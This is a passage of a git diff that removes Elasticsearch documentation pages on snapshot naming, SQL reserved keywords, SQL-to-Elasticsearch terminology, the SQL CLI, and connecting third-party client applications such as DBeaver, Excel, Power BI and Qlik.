-Snapshot names can be automatically derived using <<date-math-index-names,date math expressions>>, similarly as when creating
-new indices. Special characters must be URI encoded.
-
-For example, use the <<create-snapshot-api,create snapshot API>> to create
-a snapshot with the current day in the name, such as `snapshot-2020.07.11`:
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup/<snapshot-{now/d}>
-PUT /_snapshot/my_backup/%3Csnapshot-%7Bnow%2Fd%7D%3E
------------------------------------
-// TEST[continued]
-
-NOTE: You can also create snapshots that are copies of part of an existing snapshot using the <<clone-snapshot-api,clone snapshot API>>.
\ No newline at end of file
diff --git a/docs/reference/sql/appendix/index.asciidoc b/docs/reference/sql/appendix/index.asciidoc
deleted file mode 100644
index b00176a8a3f..00000000000
--- a/docs/reference/sql/appendix/index.asciidoc
+++ /dev/null
@@ -1 +0,0 @@
-include::syntax-reserved.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/sql/appendix/syntax-reserved.asciidoc b/docs/reference/sql/appendix/syntax-reserved.asciidoc
deleted file mode 100644
index 87304e5550d..00000000000
--- a/docs/reference/sql/appendix/syntax-reserved.asciidoc
+++ /dev/null
@@ -1,97 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-syntax-reserved]]
-== Reserved keywords
-
-Table with reserved keywords that need to be quoted. Also provide an example to make it more obvious.
-
-The following table lists all of the keywords that are reserved in {es-sql},
-along with their status in the SQL standard. These reserved keywords must
-be quoted (using double quotes) in order to be used as an identifier, for example:
-
-[source, sql]
-----
-SELECT "AS" FROM index
-----
-
-[cols="^,^,^"]
-
-|===
-
-s|Keyword
-s|SQL:2016
-s|SQL-92
-
-
-|`ALL`                        |reserved      |reserved
-|`AND`                        |reserved      |reserved
-|`ANY`                        |reserved      |reserved
-|`AS`                         |reserved      |reserved
-|`ASC`                        |reserved      |reserved
-|`BETWEEN`                    |reserved      |reserved
-|`BY`                         |reserved      |reserved
-|`CAST`                       |reserved      |reserved
-|`CATALOG`                    |reserved      |reserved
-|`CONVERT`                    |reserved      |reserved
-|`CURRENT_DATE`               |reserved      |reserved
-|`CURRENT_TIMESTAMP`          |reserved      |reserved
-|`CURRENT_TIME`               |reserved      |reserved
-|`DAY`                        |reserved      |reserved
-|`DAYS`                       |              |
-|`DESC`                       |reserved      |reserved
-|`DESCRIBE`                   |reserved      |reserved
-|`DISTINCT`                   |reserved      |reserved
-|`ESCAPE`                     |reserved      |reserved
-|`EXISTS`                     |reserved      |reserved
-|`EXPLAIN`                    |reserved      |reserved
-|`EXTRACT`                    |reserved      |reserved
-|`FALSE`                      |reserved      |reserved
-|`FIRST`                      |reserved      |reserved
-|`FROM`                       |reserved      |reserved
-|`FULL`                       |reserved      |reserved
-|`GROUP`                      |reserved      |reserved
-|`HAVING`                     |reserved      |reserved
-|`HOUR`                       |reserved      |reserved
-|`HOURS`                      |              |
-|`IN`                         |reserved      |reserved
-|`INNER`                      |reserved      |reserved
-|`INTERVAL`                   |reserved      |reserved
-|`IS`                         |reserved      |reserved
-|`JOIN`                       |reserved      |reserved
-|`LEFT`                       |reserved      |reserved
-|`LIKE`                       |reserved      |reserved
-|`LIMIT`                      |reserved      |reserved
-|`MATCH`                      |reserved      |reserved
-|`MINUTE`                     |reserved      |reserved
-|`MINUTES`                    |              |
-|`MONTH`                      |reserved      |reserved
-|`NATURAL`                    |reserved      |reserved
-|`NOT`                        |reserved      |reserved
-|`NULL`                       |reserved      |reserved
-|`NULLS`                      |              |
-|`ON`                         |reserved      |reserved
-|`OR`                         |reserved      |reserved
-|`ORDER`                      |reserved      |reserved
-|`OUTER`                      |reserved      |reserved
-|`RIGHT`                      |reserved      |reserved
-|`RLIKE`                      |              |
-|`QUERY`                      |              |
-|`SECOND`                     |reserved      |reserved
-|`SECONDS`                    |              |
-|`SELECT`                     |reserved      |reserved
-|`SESSION`                    |              |reserved
-|`TABLE`                      |reserved      |reserved
-|`TABLES`                     |              |
-|`THEN`                       |reserved      |reserved
-|`TO`                         |reserved      |reserved
-|`TOP`                        |reserved      |reserved
-|`TRUE`                       |reserved      |reserved
-|`TYPE`                       |              |
-|`USING`                      |reserved      |reserved
-|`WHEN`                       |reserved      |reserved
-|`WHERE`                      |reserved      |reserved
-|`WITH`                       |reserved      |reserved
-|`YEAR`                       |reserved      |reserved
-|`YEARS`                      |              |
-
-|===
diff --git a/docs/reference/sql/concepts.asciidoc b/docs/reference/sql/concepts.asciidoc
deleted file mode 100644
index a7363bdfeb3..00000000000
--- a/docs/reference/sql/concepts.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-concepts]]
-== Conventions and Terminology
-
-For clarity, it is important to establish the meaning behind certain words as, the same wording might convey different meanings to different readers depending on one's familiarity with SQL versus {es}.
-
-NOTE: This documentation while trying to be complete, does assume the reader has _basic_ understanding of {es} and/or SQL. If that is not the case, please continue reading the documentation however take notes and pursue the topics that are unclear either through the main {es} documentation or through the plethora of SQL material available in the open (there are simply too many excellent resources here to enumerate).
-
-As a general rule, {es-sql} as the name indicates provides a SQL interface to {es}. As such, it follows the SQL terminology and conventions first, whenever possible. However the backing engine itself is {es} for which {es-sql} was purposely created hence why features or concepts that are not available, or cannot be mapped correctly, in SQL appear
-in {es-sql}.
-Last but not least, {es-sql} tries to obey the {wikipedia}/Principle_of_least_astonishment[principle of least surprise], though as all things in the world, everything is relative.
-
-=== Mapping concepts across SQL and {es}
-
-While SQL and {es} have different terms for the way the data is organized (and different semantics), essentially their purpose is the same.
-
-So let's start from the bottom; these roughly are:
-
-[cols="1,1,5", options="header"]
-|===
-|SQL         
-|{es}       
-|Description
-
-|`column`
-|`field`
-|In both cases, at the lowest level, data is stored in _named_ entries, of a variety of <<sql-data-types, data types>>, containing _one_ value. SQL calls such an entry a _column_ while {es} a _field_.
-Notice that in {es} a field can contain _multiple_ values of the same type (essentially a list) while in SQL, a _column_ can contain _exactly_ one value of said type.
-{es-sql} will do its best to preserve the SQL semantic and, depending on the query, reject those that return fields with more than one value.
-
-|`row`
-|`document`
-|++Column++s and ++field++s do _not_ exist by themselves; they are part of a `row` or a `document`. The two have slightly different semantics: a `row` tends to be _strict_ (and have more enforcements) while a `document` tends to be a bit more flexible or loose (while still having a structure).
-
-|`table`
-|`index`
-|The target against which queries, whether in SQL or {es} get executed against.
-
-|`schema`
-|_implicit_
-|In RDBMS, `schema` is mainly a namespace of tables and typically used as a security boundary. {es} does not provide an equivalent concept for it. However when security is enabled, {es} automatically applies the security enforcement so that a role sees only the data it is allowed to (in SQL jargon, its _schema_).
-
-|`catalog` or `database`
-|`cluster` instance 
-|In SQL, `catalog` or `database` are used interchangeably and represent a set of schemas that is, a number of tables.
-In {es} the set of indices available are grouped in a `cluster`. The semantics also differ a bit; a `database` is essentially yet another namespace (which can have some implications on the way data is stored) while an {es} `cluster` is a runtime instance, or rather a set of at least one {es} instance (typically running distributed).
-In practice this means that while in SQL one can potentially have multiple catalogs inside an instance, in {es} one is restricted to only _one_.
-
-|`cluster`
-|`cluster` (federated)
-|Traditionally in SQL, _cluster_ refers to a single RDMBS instance which contains a number of ++catalog++s or ++database++s (see above). The same word can be reused inside {es} as well however its semantic clarified a bit.
-
-While RDBMS tend to have only one running instance, on a single machine (_not_ distributed), {es} goes the opposite way and by default, is distributed and multi-instance.
-
-Further more, an {es} `cluster` can be connected to other ++cluster++s in a _federated_ fashion thus `cluster` means:
-
-single cluster::
-Multiple {es} instances typically distributed across machines, running within the same namespace.
-multiple clusters::
-Multiple clusters, each with its own namespace, connected to each other in a federated setup (see <<modules-cross-cluster-search, {ccs-cap}>>).
-
-|===
-
-As one can see while the mapping between the concepts are not exactly one to one and the semantics somewhat different, there are more things in common than differences. In fact, thanks to SQL declarative nature, many concepts can move across {es} transparently and the terminology of the two likely to be used interchangeably throughout the rest of the material.
\ No newline at end of file
diff --git a/docs/reference/sql/endpoints/cli.asciidoc b/docs/reference/sql/endpoints/cli.asciidoc
deleted file mode 100644
index 21e667d7397..00000000000
--- a/docs/reference/sql/endpoints/cli.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-cli]]
-== SQL CLI
-
-Elasticsearch ships with a script to run the SQL CLI in its `bin` directory:
-
-[source,bash]
---------------------------------------------------
-$ ./bin/elasticsearch-sql-cli
---------------------------------------------------
-
-You can pass the URL of the Elasticsearch instance to connect to as
-the first parameter:
-
-[source,bash]
---------------------------------------------------
-$ ./bin/elasticsearch-sql-cli https://some.server:9200
---------------------------------------------------
-
-If security is enabled on your cluster, you can pass the username
-and password in the form `username:password@host_name:port`
-to the SQL CLI:
-
-[source,bash]
---------------------------------------------------
-$ ./bin/elasticsearch-sql-cli https://sql_user:strongpassword@some.server:9200
---------------------------------------------------
-
-Once the CLI is running you can use any <<sql-spec,query>> that
-Elasticsearch supports:
-
-[source,sqlcli]
---------------------------------------------------
-sql> SELECT * FROM library WHERE page_count > 500 ORDER BY page_count DESC;
-     author      |        name        |  page_count   | release_date
------------------+--------------------+---------------+---------------
-Peter F. Hamilton|Pandora's Star      |768            |1078185600000
-Vernor Vinge     |A Fire Upon the Deep|613            |707356800000
-Frank Herbert    |Dune                |604            |-144720000000
-Alastair Reynolds|Revelation Space    |585            |953078400000
-James S.A. Corey |Leviathan Wakes     |561            |1306972800000
---------------------------------------------------
-// TODO it'd be lovely to be able to assert that this is correct but
-// that is probably more work then it is worth right now.
-
-The jar containing the SQL CLI is a stand alone Java application and
-the scripts just launch it. You can move it around to other machines
-without having to install Elasticsearch on them. Without the already
-provided script files, you can use a command similar to the following
-to start the SQL CLI:
-
-[source,bash]
---------------------------------------------------
-$ ./java -jar [PATH_TO_CLI_JAR]/elasticsearch-sql-cli-[VERSION].jar https://some.server:9200
---------------------------------------------------
-
-or
-
-[source,bash]
---------------------------------------------------
-$ ./java -cp [PATH_TO_CLI_JAR]/elasticsearch-sql-cli-[VERSION].jar org.elasticsearch.xpack.sql.cli.Cli https://some.server:9200
---------------------------------------------------
-
-The jar name will be different for each Elasticsearch version (for example `elasticsearch-sql-cli-7.3.2.jar`),
-thus the generic `VERSION` specified in the example above. Furthermore,
-if not running the command from the folder where the SQL CLI jar resides,
-you'd have to provide the full path, as well.
\ No newline at end of file
diff --git a/docs/reference/sql/endpoints/client-apps/dbeaver.asciidoc b/docs/reference/sql/endpoints/client-apps/dbeaver.asciidoc
deleted file mode 100644
index b5584856b9e..00000000000
--- a/docs/reference/sql/endpoints/client-apps/dbeaver.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-dbeaver]]
-=== DBeaver
-
-You can use the {es} JDBC driver to access {es} data from DBeaver.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://dbeaver.io/[DBeaver] version 6.0.0 or higher
-* {es-sql} <<sql-jdbc, JDBC driver>>
-
-==== New Connection
-
-Create a new connection either through the menu *File* > *New* > *Database Connection* menu or directly through the *Database Connection* panel.
-
-image:images/sql/client-apps/dbeaver-1-new-conn.png[]
-
-==== Select {es} type
-Select the {es} type from the available connection types:
-
-image:images/sql/client-apps/dbeaver-2-conn-es.png[]
-
-==== Specify the {es} cluster information
-
-Configure the {es-sql} connection appropriately:
-
-image:images/sql/client-apps/dbeaver-3-conn-props.png[]
-
-==== Verify the driver version
-
-Make sure the correct JDBC driver version is used by using the *Edit Driver Settings* button:
-
-image:images/sql/client-apps/dbeaver-4-driver-ver.png[]
-
-DBeaver is aware of the {es} JDBC maven repository so simply *Download/Update* the artifact or add a new one. As an alternative one can add a local file instead if the {es} Maven repository is not an option.
-
-When changing the driver, make sure to click on the *Find Class* button at the bottom - the Driver class should be picked out automatically however this provides a sanity check that the driver jar is properly found and it is not corrupt.
-
-==== Test connectivity
-
-Once the driver version and the settings are in place, use *Test Connection* to check that everything works. If things are okay, one should get a confirmation window with the version of the driver and that of {es-sql}:
-
-image:images/sql/client-apps/dbeaver-5-test-conn.png[]
-
-Click *Finish* and the new {es} connection appears in the *Database Connection* panel.
-
-DBeaver is now configured to talk to {es}.
-
-==== Connect to {es}
-
-Simply click on the {es} connection and start querying and exploring {es}:
-
-image:images/sql/client-apps/dbeaver-6-data.png[]
diff --git a/docs/reference/sql/endpoints/client-apps/dbvis.asciidoc b/docs/reference/sql/endpoints/client-apps/dbvis.asciidoc
deleted file mode 100644
index 61229822af4..00000000000
--- a/docs/reference/sql/endpoints/client-apps/dbvis.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-dbvis]]
-=== DbVisualizer
-
-You can use the {es} JDBC driver to access {es} data from DbVisualizer.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://www.dbvis.com/[DbVisualizer] 10.0.21 or higher
-* {es-sql} <<sql-jdbc, JDBC driver>>
-
-==== Add {es} JDBC driver
-
-Add the {es} JDBC driver to DbVisualizer through *Tools* > *Driver Manager*:
-
-image:images/sql/client-apps/dbvis-1-driver-manager.png[]
-
-Select *Elasticsearch* driver name from the left sidebar and add the JDBC driver in the files panel through the buttons on the right; if there is no such driver name check the DbVisualizer version or create a new driver entry through *Driver* > *Create Driver*.
-
-image:images/sql/client-apps/dbvis-2-driver.png[]
-
-Once specified, the driver class and its version should be automatically picked up - one can force the refresh through the *Find driver in listed locations* button, the second from the bottom on the right hand side:
- 
-image:images/sql/client-apps/dbvis-3-add-driver.png[]
-
-==== Create a new connection
-
-Once the {es} driver is in place, create a new connection:
-
-image:images/sql/client-apps/dbvis-4-new-conn.png[]
-
-One can use the wizard or add the settings all at once:
-
-image:images/sql/client-apps/dbvis-5-conn-props.png[]
-
-Press *Connect* and the driver version (as that of the cluster) should show up under *Connection Message*.
-
-==== Execute SQL queries
-
-The setup is done. DbVisualizer can be used to run queries against {es} and explore its content:
-
-image:images/sql/client-apps/dbvis-6-data.png[]
diff --git a/docs/reference/sql/endpoints/client-apps/excel.asciidoc b/docs/reference/sql/endpoints/client-apps/excel.asciidoc
deleted file mode 100644
index 52aeb1831ce..00000000000
--- a/docs/reference/sql/endpoints/client-apps/excel.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-excel]]
-=== Microsoft Excel
-
-You can use the {es} ODBC driver to access {es} data from Microsoft Excel.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://products.office.com/en/excel[Microsoft Office] 2016 or higher
-* {es-sql} <<sql-odbc, ODBC driver>>
-* A preconfigured User or System DSN (see <<dsn-configuration,Configuration>> section on how to configure a DSN).
-
-==== Load data into a spreadsheet
-
-First, you'll need to choose ODBC as the source to load data from. To do so, click on the _Data_ tab, then _New Query_ button, in the
-drop-down menu expand _From Other Sources_, then choose _From ODBC_:
-
-[[apps_excel_fromodbc]]
-.ODBC as data source
-image:images/sql/odbc/apps_excel_fromodbc.png[]
-
-This will open a new window with a drop down menu populated with the DSNs that Excel found on the system. Choose a DSN configured to
-connect to your {es} instance and press the _OK_ button:
-
-[[apps_excel_dsn]]
-.Choose a DSN
-image:images/sql/odbc/apps_excel_dsn.png[]
-
-This will lead to a new window, allowing the user to input the connection credentials.
-
-A username might be required by Excel even if the {es} instance has no security enabled. Providing a bogus username with no password in
-this case will not hinder the connectivity. Note however that Excel will cache these credentials (so in case you do have security enabled,
-you won't be prompted for the credentials a second time).
-
-Fill in the username and the password and press
-_Connect_.
-
-[[apps_excel_cred]]
-.Provide connection credentials
-image:images/sql/odbc/apps_excel_cred.png[]
-
-Once connected, Excel will read {es}'s catalog and offer the user a choice of tables (indices) to load data from. Clicking on one of the
-tables will load a preview of the data within:
-
-[[apps_excel_picktable]]
-.Pick table to load
-image:images/sql/odbc/apps_excel_picktable.png[]
-
-Now click the _Load_ button, which will have Excel load all the data from the table into a spreadsheet:
-
-[[apps_excel_loaded]]
-.Data loaded in spreadsheet
-image:images/sql/odbc/apps_excel_loaded.png[]
-
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138 columns=140
diff --git a/docs/reference/sql/endpoints/client-apps/index.asciidoc b/docs/reference/sql/endpoints/client-apps/index.asciidoc
deleted file mode 100644
index 544a0349f76..00000000000
--- a/docs/reference/sql/endpoints/client-apps/index.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps]]
-== SQL Client Applications
-
-Thanks to its <<sql-jdbc, JDBC>> and <<sql-odbc, ODBC>> interfaces, a broad range of third-party applications can use {es-sql} capabilities.
-This section lists, in alphabetical order, a number of them and their respective configuration - the list however is by no means comprehensive (feel free to https://www.elastic.co/blog/art-of-pull-request[submit a PR] to improve it):
-as long as the app can use the {es-sql} driver, it can use {es-sql}.
-
-* <<sql-client-apps-dbeaver, DBeaver>>
-* <<sql-client-apps-dbvis, DbVisualizer>>
-* <<sql-client-apps-excel, Microsoft Excel>>
-* <<sql-client-apps-powerbi, Microsoft Power BI Desktop>>
-* <<sql-client-apps-ps1, Microsoft PowerShell>>
-* <<sql-client-apps-microstrat, MicroStrategy Desktop>>
-* <<sql-client-apps-qlik, Qlik Sense Desktop>>
-* <<sql-client-apps-squirrel, SQuirreL SQL>>
-* <<sql-client-apps-workbench, SQL Workbench>>
-* <<sql-client-apps-tableau, Tableau Desktop>>
-
-IMPORTANT: Elastic does not endorse, promote or provide support for any of the applications listed. For native {es} integration in these products, please reach out to their respective vendor.
-
-NOTE: Each application has its own requirements and license these are outside the scope of this documentation
-which covers only the configuration aspect with {es-sql}.
-
-WARNING: The support for applications implementing the ODBC 2.x standard and prior is currently limited.
-
-include::dbeaver.asciidoc[]
-include::dbvis.asciidoc[]
-include::excel.asciidoc[]
-include::powerbi.asciidoc[]
-include::ps1.asciidoc[]
-include::microstrat.asciidoc[]
-include::qlik.asciidoc[]
-include::squirrel.asciidoc[]
-include::workbench.asciidoc[]
-include::tableau.asciidoc[]
diff --git a/docs/reference/sql/endpoints/client-apps/microstrat.asciidoc b/docs/reference/sql/endpoints/client-apps/microstrat.asciidoc
deleted file mode 100644
index 7926d240521..00000000000
--- a/docs/reference/sql/endpoints/client-apps/microstrat.asciidoc
+++ /dev/null
@@ -1,93 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-microstrat]]
-=== MicroStrategy Desktop
-
-You can use the {es} ODBC driver to access {es} data from MicroStrategy Desktop.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://www.microstrategy.com/us/get-started/desktop[MicroStrategy Desktop] 11 or higher
-* {es-sql} <<sql-odbc, ODBC driver>>
-* A preconfigured User or System DSN (see <<dsn-configuration,Configuration>> section on how to configure a DSN).
-
-==== Data loading
-
-To use the {odbc} to load data into MicroStrategy Desktop perform the following steps in sequence.
-
-. Create a New Dossier
-+
-Once the application is launched, you'll first need to create a _New Dossier_:
-+
-[[apps_microstrat_newdossier]]
-image:images/sql/odbc/apps_microstrat_newdossier.png[]
-+
-. New Data
-+
-To import into the _New Dossier_ just opened, press on the _New Data_ button in the _DATASETS_ column:
-+
-[[apps_microstrat_newdata]]
-image:images/sql/odbc/apps_microstrat_newdata.png[]
-+
-. Access data from Tables
-+
-This opens a new window that allows to choose the source to load data from. Click on the _Databases_ icon:
-+
-[[apps_microstrat_databases]]
-image:images/sql/odbc/apps_microstrat_databases.png[]
-+
-. New Data Source
-+
-In the newly opened _Import from Table - Select_ window, click on the *+* button to the right of _DATA SOURCES_ item:
-+
-[[apps_microstrat_newds]]
-image:images/sql/odbc/apps_microstrat_newds.png[]
-+
-. Data Source
-+
-In the _Data Source_ window, tick the radio button for _DSN Data Sources_. In the _DSN_ drop-down box, choose the name of the DSN that you
-have previously configured. For the _Version_, chose _Generic DBMS_.
-+
-Input a user name and password in the provided fields.
-Note that the application requires them irrespective of the fact that they might already be part of the previously configured DSN and the
-new input will take precedence over those.
-+
-Finally, give a name to the application-specific data source you're just configuring:
-+
-[[apps_microstrat_dsn]]
-image:images/sql/odbc/apps_microstrat_dsn.png[]
-+
-. Select Import Options
-+
-Choosing an import methodology follows. You can pick any of the options; we'll exemplify the _Select Tables_ option:
-+
-[[apps_microstrat_tables]]
-image:images/sql/odbc/apps_microstrat_tables.png[]
-+
-. Import from Table - Select
-+
-The data source you've named two steps before is now listed in the _DATA SOURCES_ column. Clicking on its name triggers the
-application to query the {es} instance configured in the DSN and list the tables available within:
-+
-[[apps_microstrat_loadtable]]
-image:images/sql/odbc/apps_microstrat_loadtable.png[]
-+
-. Data Access Mode
-+
-Choose a table to load data from and press the _Finish_ button. When doing so, the application offers to choose a loading methodology.
-You can choose whichever, we'll exemplify the _Connect Live_ way:
-+
-[[apps_microstrat_live]]
-image:images/sql/odbc/apps_microstrat_live.png[]
-+
-. Visualize the data
-+
-From the _DATASETS_ column you can choose what table columns (or index fields) to visualize:
-+
-[[apps_microstrat_visualize]]
-image:images/sql/odbc/apps_microstrat_visualize.png[]
-
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138 columns=140
diff --git a/docs/reference/sql/endpoints/client-apps/powerbi.asciidoc b/docs/reference/sql/endpoints/client-apps/powerbi.asciidoc
deleted file mode 100644
index 9efab14f466..00000000000
--- a/docs/reference/sql/endpoints/client-apps/powerbi.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-powerbi]]
-=== Microsoft Power BI Desktop
-
-You can use the {es} ODBC driver to access {es} data from Microsoft Power BI Desktop.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://powerbi.microsoft.com/en-us/desktop/[Microsoft Power BI Desktop] 2.63 or higher
-* {es-sql} <<sql-odbc, ODBC driver>>
-* A preconfigured User or System DSN (see <<dsn-configuration,Configuration>> section on how to configure a DSN).
-
-==== Data loading
-
-First, you'll need to choose ODBC as the source to load data from. Once launched, click on the _Get Data_ button (under _Home_ tab), then
-on the _More..._ button at the bottom of the list:
-
-[[apps_pbi_fromodbc1]]
-.Get Data / More...
-image:images/sql/odbc/apps_pbi_fromodbc1.png[]
-
-In the new opened window scroll at the bottom of the _All_ list and select the _ODBC_ entry, then click on the _Connect_ button:
-
-[[apps_pbi_fromodbc2]]
-.ODBC / Connect
-image:images/sql/odbc/apps_pbi_fromodbc2.png[]
-
-This will replace current window with a new _From ODBC_ one, where you'll have to select a previously configured DSN:
-
-[[apps_pbi_dsn]]
-.Choose a DSN
-image:images/sql/odbc/apps_pbi_dsn.png[]
-
-Once connected Power BI will read {es}'s catalog and offer the user a choice of tables (indices) to load data from. Clicking on one of the
-tables will load a preview of the data within:
-
-[[apps_pbi_picktable]]
-.Pick table to load
-image:images/sql/odbc/apps_pbi_picktable.png[]
-
-Now tick the chosen table and click on the _Load_ button. Power BI will now load and analyze the data, populating a list with the available
-columns. These can now be used to build the desired visualisation:
-
-[[apps_pbi_loaded]]
-.Visualize the data
-image:images/sql/odbc/apps_pbi_loaded.png[]
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138 columns=140
diff --git a/docs/reference/sql/endpoints/client-apps/ps1.asciidoc b/docs/reference/sql/endpoints/client-apps/ps1.asciidoc
deleted file mode 100644
index 9c8d889c4e6..00000000000
--- a/docs/reference/sql/endpoints/client-apps/ps1.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-ps1]]
-=== Microsoft PowerShell
-
-You can use the {es} ODBC driver to access {es} data from Microsoft PowerShell.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://docs.microsoft.com/en-us/powershell/[Microsoft PowerShell]
-* {es-sql} <<sql-odbc, ODBC driver>>
-* A preconfigured User or System DSN (see <<dsn-configuration,Configuration>> section on how to configure a DSN).
-
-==== Writing a script
-
-While putting the following instructions into a script file is not an absolute requirement, doing so will make it easier to extend and
-reuse. The following instructions exemplify how to execute a simple SELECT query from an existing index in your {es} instance, using a DSN
-configured in advance. Open a new file, `select.ps1`, and place the following instructions in it:
-
-["source","powershell",subs="attributes,callouts"]
---------------------------------------------
-$connectstring = "DSN=Local Elasticsearch;"
-$sql = "SELECT * FROM library"
-
-$conn = New-Object System.Data.Odbc.OdbcConnection($connectstring)
-$conn.open()
-$cmd = New-Object system.Data.Odbc.OdbcCommand($sql,$conn)
-$da = New-Object system.Data.Odbc.OdbcDataAdapter($cmd)
-$dt = New-Object system.Data.datatable
-$null = $da.fill($dt)
-$conn.close()
-$dt
---------------------------------------------
-
-Now open a PowerShell shell and simply execute the script:
-
-[[apps_excel_exed]]
-.Run SQL in PowerShell
-image:images/sql/odbc/apps_ps_exed.png[]
-
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138 columns=140
diff --git a/docs/reference/sql/endpoints/client-apps/qlik.asciidoc b/docs/reference/sql/endpoints/client-apps/qlik.asciidoc
deleted file mode 100644
index 09fccd6a701..00000000000
--- a/docs/reference/sql/endpoints/client-apps/qlik.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-qlik]]
-=== Qlik Sense Desktop
-
-You can use the {es} ODBC driver to access {es} data from Qlik Sense Desktop.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://www.qlik.com/us/try-or-buy/download-qlik-sense[Qlik Sense Desktop] November 2018 or higher
-* {es-sql} <<sql-odbc, ODBC driver>>
-* A preconfigured User or System DSN (see <<dsn-configuration,Configuration>> section on how to configure a DSN).
-
-==== Data loading
-
-To use the {odbc} to load data into Qlik Sense Desktop perform the following steps in sequence.
-
-. Create new app
-+
-Once the application is launched, you'll first need to click on the _Create new app_ button:
-+
-[[apps_qlik_newapp]]
-image:images/sql/odbc/apps_qlik_newapp.png[]
-+
-. Name app
-+
-...then give it a name,
-+
-[[apps_qlik_create]]
-image:images/sql/odbc/apps_qlik_create.png[]
-+
-. Open app
-+
-...and then open it:
-+
-[[apps_qlik_open]]
-image:images/sql/odbc/apps_qlik_open.png[]
-+
-. Add data to your app
-+
-Start configuring the source to load data from in the newly created app:
-+
-[[apps_qlik_adddata]]
-image:images/sql/odbc/apps_qlik_adddata.png[]
-+
-. Load from ODBC
-+
-You'll be given a choice of sources to select. Click on the _ODBC_ icon:
-+
-[[apps_qlik_odbc]]
-image:images/sql/odbc/apps_qlik_odbc.png[]
-+
-. Choose DSN
-+
-In the _Create new connection (ODBC)_ dialog, click on the DSN name that you have previously configured for your {es} instance:
-+
-[[apps_qlik_dsn]]
-image:images/sql/odbc/apps_qlik_dsn.png[]
-+
-Provide a username and password in the respective fields, if authentication is enabled on your instance and if these are not already part
-of the DSN. Press the _Create_ button.
-+
-. Select source table
-+
-The application will now connect to the {es} instance and query the catalog information, presenting you with a list of tables that you can
-load data from:
-+
-[[apps_qlik_selecttable]]
-image:images/sql/odbc/apps_qlik_selecttable.png[]
-+
-. Visualize the data
-+
-Press on the _Add data_ button and customize your data visualization:
-+
-[[apps_qlik_visualize]]
-image:images/sql/odbc/apps_qlik_visualize.png[]
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138 columns=140
diff --git a/docs/reference/sql/endpoints/client-apps/squirrel.asciidoc b/docs/reference/sql/endpoints/client-apps/squirrel.asciidoc
deleted file mode 100644
index 69c49a1240f..00000000000
--- a/docs/reference/sql/endpoints/client-apps/squirrel.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-squirrel]]
-=== SQuirreL SQL
-
-You can use the {es} JDBC driver to access {es} data from SQuirreL SQL.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* http://squirrel-sql.sourceforge.net/[SQuirreL SQL] version 4.0.0 or higher
-* {es-sql} <<sql-jdbc, JDBC driver>>
-
-==== Add {es} JDBC Driver
-
-To add the {es} JDBC driver, use *Windows* > *View Drivers* menu (or Ctrl+Shift+D shortcut):
-
-image:images/sql/client-apps/squirell-1-view-drivers.png[]
-
-Select *Elasticsearch* profile from the `Drivers` panel on the left-hand side (if it is missing check the SQuirreL SQL version or add a new entry to the list through the `+' button in the upper left corner):
-
-image:images/sql/client-apps/squirell-2-select-driver.png[]
-
-Select the *Extra Class Path* tab and *Add* the JDBC jar. Name the connection and *List Drivers* to have `Class Name` populated if it is not already filled-in :
-
-image:images/sql/client-apps/squirell-3-add-driver.png[]
-
-The driver should now appear in the list with a blue check mark next to its name:
-
-image:images/sql/client-apps/squirell-4-driver-list.png[]
-
-==== Add an alias for {es}
-
-Add a new connection or in SQuirreL terminology an _alias_ using the new driver. To do so, select the *Aliases* panel on the left and click the `+` sign:
-
-image:images/sql/client-apps/squirell-5-add-alias.png[]
-
-Name the new alias and select the `Elasticsearch` driver previously added:
-
-image:images/sql/client-apps/squirell-6-alias-props.png[]
-
-The setup is completed. Double check it by clicking on *Test Connection*.
-
-==== Execute SQL queries
-
